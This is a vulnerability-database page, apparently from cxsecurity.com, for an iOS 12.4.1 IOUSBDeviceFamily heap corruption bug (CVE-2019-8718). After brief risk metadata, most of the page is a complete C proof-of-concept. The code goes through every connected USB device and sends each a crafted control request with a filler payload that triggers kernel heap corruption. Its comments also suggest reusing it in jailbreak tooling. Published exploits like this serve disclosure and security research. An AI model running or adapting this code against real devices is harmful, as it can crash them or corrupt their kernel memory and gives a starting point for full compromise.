iOS IOUSBDeviceFamily 12.4.1 Heap Corruption Proof Of Concept

2019.11.11
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: iOS IOUSBDeviceFamily 12.4.1 - 'IOInterruptEventSource' Heap Corruption (PoC) # Date: 2019-10-29 # Exploit Author: Sem Voigtlander, Joshua Hill and Raz Mashat # Vendor Homepage: https://apple.com/ # Software Link: https://support.apple.com/en-hk/HT210606 # Version: iOS 13 # Tested on: iOS 12.4.1 # CVE : N/A # A vulnerable implementation of IOInterruptEventSource on a workloop exists in IOUSBDeviceFamily. # The code can be triggered by a local attacker by sending a malicious USB control request to device. # It seems the faulting address register is corrupted as result of a heap corruption vulnerability. # However, on earlier iOS versions (tested on 12.0.1) we were able to trigger a use after free in reserved->statistics relating to the same vulnerable code too. # This bug was found through statically analyzing xnu from public source and optimized USB fuzzing. # A proof of concept written in C for macOS is attached, for other platforms python and c code using libusb exists on GitHub (https://github.com/userlandkernel/USBusted) iousbusted.c /* Pure IOKit implementation of CVE-2019-8718 Written by Sem Voigtländer. Compile: clang iousbusted.c -o iousbusted -framework IOKit -framework CoreFoundation Tip: You can also use this for projects like checkm8 autopwn etc. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <mach/mach.h> #include <IOKit/usb/IOUSBLib.h> #include <IOKit/IOCFPlugIn.h> #include <CoreFoundation/CoreFoundation.h> /* Faster comparissions for 64-bit integers than != and == */ #define FCOMP(P1,P2) !(P1 ^ P2) const char *defaultMsg = "HELLO WORLD"; /* Method for sending an USB control message to a target device */ static int send_usb_msg(IOUSBDeviceInterface** dev, int type, int reqno, int val, int idx, const char *msg) { if(!dev){ printf("No device handle given.\n"); return KERN_FAILURE; } if(!msg) msg = defaultMsg; IOUSBDevRequest req; req.bmRequestType = type; req.bRequest = reqno; req.wValue = val; req.wIndex = idx; req.wLength = strlen(msg); req.pData = msg; req.wLenDone = 0; IOReturn rc = KERN_SUCCESS; rc = (*dev)->DeviceRequest(dev, &req); if(rc != KERN_SUCCESS) { return rc; } return KERN_SUCCESS; } static int send_usbusted_pwn_msg(IOUSBDeviceInterface** dev, const char *msg) { if(!dev){ printf("No device handle given.\n"); return KERN_FAILURE; } kern_return_t rc = send_usb_msg(dev, 0|0x80, 0x6, 0x30c, 0x409, msg); if(rc != kIOReturnSuccess) { return rc; } return KERN_SUCCESS; } /* Print information from an IOKit USB device */ static int print_usb_device(io_service_t device){ kern_return_t err = KERN_SUCCESS; CFNumberRef vid = 0; CFNumberRef pid = 0; CFNumberRef locationID = 0; CFMutableDictionaryRef p = NULL; err = IORegistryEntryCreateCFProperties(device, &p, NULL, 0); if(err != KERN_SUCCESS || !p) return err; if(!CFDictionaryGetValueIfPresent(p, CFSTR("idVendor"), &vid)) return KERN_FAILURE; if(!CFDictionaryGetValueIfPresent(p, CFSTR("idProduct"), &pid)) return KERN_FAILURE; CFDictionaryGetValueIfPresent(p, CFSTR("locationID"), &locationID); CFNumberGetValue(vid, kCFNumberSInt32Type, &vid); CFNumberGetValue(pid, kCFNumberSInt32Type, &pid); // <-- yes I know this is dirty, I was tired. if(locationID) CFNumberGetValue(locationID, kCFNumberSInt32Type, &locationID); printf("Got device %#x @ %#x (%#x:%#x)\n", device, locationID, vid, pid); return err; } /* Get a handle for sending to a device */ static int get_usbdevice_handle(io_service_t device, IOUSBDeviceInterface* dev){ kern_return_t err = KERN_SUCCESS; SInt32 score; IOCFPlugInInterface** plugInInterface = NULL; err = IOCreatePlugInInterfaceForService(device, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID, &plugInInterface, &score); if (err != KERN_SUCCESS || plugInInterface == NULL) return err; err = (*plugInInterface)->QueryInterface(plugInInterface, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID), (LPVOID*)dev); if(err != kIOReturnSuccess) return err; // Now done with the plugin interface. (*plugInInterface)->Release(plugInInterface); //plugInInterface = NULL; if(!dev) return KERN_FAILURE; return err; } /* Iterate over all USB devices */ static int iterate_usb_devices(const char *msg){ CFMutableDictionaryRef matchingDict; io_iterator_t iter; kern_return_t kr; io_service_t device; /* set up a matching dictionary for the class */ matchingDict = IOServiceMatching(kIOUSBDeviceClassName); if (matchingDict == NULL) { return -1; // fail } /* Now we have a dictionary, get an iterator.*/ kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); if (kr != KERN_SUCCESS) { return -1; } /* iterate */ while ((device = IOIteratorNext(iter))) { /* do something with device, eg. check properties */ kr = print_usb_device(device); if(kr != KERN_SUCCESS){ printf("Skipping device as it has no vid / pid.\n"); continue; } IOUSBDeviceInterface **dev = 0; kr = get_usbdevice_handle(device, &dev); if(kr != KERN_SUCCESS){ printf("Skipping device as no handle for it could be retrieved.\n"); continue; } kr = send_usbusted_pwn_msg(dev, msg); printf("RET: %s\n\n", mach_error_string(kr)); /* And free the reference taken before continuing to the next item */ IOObjectRelease(device); } /* Done, release the iterator */ IOObjectRelease(iter); return 0; } int main(int argc, char *argv[]){ char payload[108]; memset(&payload, 'A', 108); int err = iterate_usb_devices(payload); return err; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top